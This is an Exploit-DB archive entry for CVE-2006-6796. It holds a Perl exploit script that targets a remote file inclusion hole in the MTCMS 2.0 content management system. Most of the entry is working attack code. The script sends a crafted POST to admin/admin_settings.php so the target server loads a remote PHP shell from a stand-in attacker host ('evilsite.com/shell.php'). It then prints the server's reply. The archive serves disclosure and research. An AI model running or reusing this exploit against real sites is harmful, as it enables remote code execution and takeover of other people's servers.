MTCMS <= 2.0 admin/admin_settings.php Remote File Include Exploit

2006-12-25T00:00:00
ID EDB-ID:3005
Type exploitdb
Reporter nuffsaid
Modified 2006-12-25T00:00:00

Description

MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit. CVE-2006-6796. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
# +-------------------------------------------------------------------------------------------
# + MTCMS &lt;= 2.0 (admin/admin_settings.php) Remote File Include Exploit
# +-------------------------------------------------------------------------------------------
# + Affected Software .: MTCMS &lt;= 2.0
# + Vendor ............: http://www.mtcms.co.uk/
# + Download ..........: http://mtcms.co.uk/downloads/index.php?file=MTCMS-V2.rar
# + Description .......: "MTCMS is a PHP/MySQL, Content Management System (CMS)."
# + Class .............: Remote File Inclusion
# + Risk ..............: High (Remote File Execution)
# + Found By ..........: nuffsaid &lt;nuffsaid[at]newbslove.us&gt;
# + Requirements.......: register_globals = on
# +-------------------------------------------------------------------------------------------

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$remotefile = "http://evilsite.com/shell.php";

main();

sub usage
{
    print "\nMTCMS &lt;= 2.0 Remote File Include Exploit\n";
    print "nuffsaid &lt;nuffsaid[at]newbslove.us&gt;\n";
    print "-h, --host\ttarget host\t(example.com)\n";
    print "-f, --file\tremote file\t(http://evilsite.com/shell.php)\n";
    print "-d, --dir\tinstall dir\t(/mtcms)\n";
    exit;
}

sub main
{
    GetOptions ('h|host=s' =&gt; \$host,'f|file=s' =&gt; \$file,'d|dir=s' =&gt; \$dir);
    usage() unless $host;
    $remotefile = $file unless !$file;
    $url = uri_escape($remotefile);
    
    $sock = IO::Socket::INET-&gt;new(Proto=&gt;"tcp",PeerAddr=&gt;"$host",PeerPort=&gt;"80")
     or die "\nconnect() failed.\n";
     
    print "\nconnected to ".$host.", sending data.\n";
    $sendurl = "inst=true&ins_file=".$url."";
    $sendlen = length($sendurl);
    print $sock "POST ".$dir."/admin/admin_settings.php?b=addons&c=easy_add HTTP/1.1\n";
    print $sock "Host: ".$host."\n";
    print $sock "Connection: close\n";
    print $sock "Content-Type: application/x-www-form-urlencoded\n";
    print $sock "Content-Length: ".$sendlen."\n\n";
    print $sock $sendurl;
    print "attempted to include remote file, server response:\n\n";
    while($recvd = &lt;$sock&gt;)
    {
        print " ".$recvd."";
    }
    exit;
}

# milw0rm.com [2006-12-25]